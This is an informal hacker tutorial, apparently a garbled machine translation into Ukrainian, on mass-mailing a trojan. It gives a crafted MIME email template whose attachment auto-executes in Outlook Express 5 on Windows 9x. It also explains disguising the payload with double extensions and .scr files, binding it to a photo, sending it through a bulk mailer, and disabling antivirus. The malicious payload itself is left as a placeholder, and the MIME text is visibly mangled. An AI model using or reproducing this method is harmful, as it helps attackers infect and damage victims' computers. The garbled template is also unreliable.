І так спосіб цей рулить в Windows 95-98SE (без латок) і якщо встановлений основний поштовий клієнт це їх же OutlookExpress 5.0, вони зараз поки найбільш поширені і в основному більшість народу юзает їх .... да да WindowsХреновоРаботает ще мало хто поставив .... Так що шанси нарватися на таких у вас великі (мабуть самі на цьому софті то сидите ;-).
І так як ви раніше розсилали ламером трояна, брали просто Атачі до листа файл з троянам, писали якийсь нитка текст в листі щоб жертві захотілося відкрити його, розсилали по спам листам і сподівалися на те що знайдеться жертва яка виявиться повним ламерьyoм і відкриє пріатаченний файл і ось ти вже летиш по халявного інету або форматіруешь ламеру диск (а може і йдеш по темному коридору заклавши руки за спину в супроводі дядечки з відділу «Ре». але щас народ вже в основному вчений пішов і просто так файли прийшли поштою не відчиняє, а для початку дбайливо зберігає на диск і потім із захватом гвалтує їх всякими там АВП. Докторами Вьебамі і Нортон, а потім вже думає відкривати його чи ні. Ну ... ..нам це треба. Який шанс що хтось відкриє і запустить до себе твою Коняшко ... ..правільно шанс просто мізерний.
Тому то нам треба зробити так щоб файл в листі запустився автоматично як тільки жертва отримає цей лист .... ну ... добре ж щоб так було ... і не треба ні кого умовляти (ще раз підкреслю що рулить все в Win9x і OE 5.0).
From: SuperMegaXaker
To:
Subject. Poluchai gad troyana.
MIME-Version: 1.0
Content-Type: multipart / related;
type = \ »multipart / alternative \»;
boundary = \ »==== _ ABC1234567890DEF _ ==== \»
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
- ==== _ ABC0987654321DEF _ ====
Content-Type: text / html;
charset = \ »iso-8859-1 \»
Content-Transfer-Encoding: quoted-printable
- ==== _ ABC0987654321DEF _ ==== -
- ==== _ ABC1234567890DEF _ ====
Content-Type: audio / x-wav;
name = \ »Troyan.jpg.exe"
Content-Transfer-Encoding: base64
Content-ID:
На цьому місці буде файл трояна в base-64 кодуванні ....... (Зовні буде виглядати як великий і рівний блок тексту)
На цьому місці буде файл трояна в base-64 кодуванні ....... (Зовні буде виглядати як великий і рівний блок тексту)
Те що ви там поставите і буде відображатимуться в полях листи From, To, Subject і ім'я пріатаченного файлу. яке отримає жертва. До речі нам так само стане в нагоді і Joiner. склейте з трояном яку нитку фотку, тому що не у всіх може Оутглюк стояти і коли жертва буде відкривати файл вже самостійно їй постане перед очима ця фотка, а ваш троян в цей час буде робити свою брудну справу.
Так, ще за місце розширення файлу .exe можна поставаіть .scr - це розширення у скрінсейвер (програм-заставок) але діяти буде так само як і з .exe. просто таким чином можна трохи приспати пильність жертви. Зберігаємося, і все лист з трояном mail.eml готове. Тепер якщо відкрити цей лист Оутглюком то файл автоматично запуститься. Тепер про те як користуватися Zenderom для відсилання цього листа, тому як звичайній поштовій програмою його НЕ отошлёшь так як вона поміняє все заголовки на інші і троян в листі вже не запускається автоматично. Для початку прочитайте там файл з описом. Якщо не зрозуміли то поясню на пальцях. На початку кладете ваш лист mail.eml в папку з Zenderom.
Так що тепер ефектівность розсилки трояна у вас значно підвищиться в порівнянні з тим як ви його раніше розсилали простим дідівським способом)). Так як ще багато тих хто сидить на Винь9х і Отглюках.
До речі щас сам лист mail.eml сосотавленное таким ось чином щоб автоматично запускався пріатаченний до нього файл визначається багатьма антивірусами як троян навіть якщо ви туди ще ні кого трояна і не вставляли, у мене наприклад мій ДокторВ'еб лається на цей лист що типу це troyanIframe)) ), правда якщо лист лежить в якому zip архіві то він на нього мовчить, хоча адже самі архмви він шмонають вміє добре, ось так то, так що на час складання листа доведеться вивантажувати ваші антивірусні монітори. а то ж працювати нормально не дадуть).
Ну от і все. На мою все зрозуміло розповів. У кого будуть які питання пишіть (можете навіть такі ось листи з автозапуском ... у мене все одно Бат варто)))). хай щастить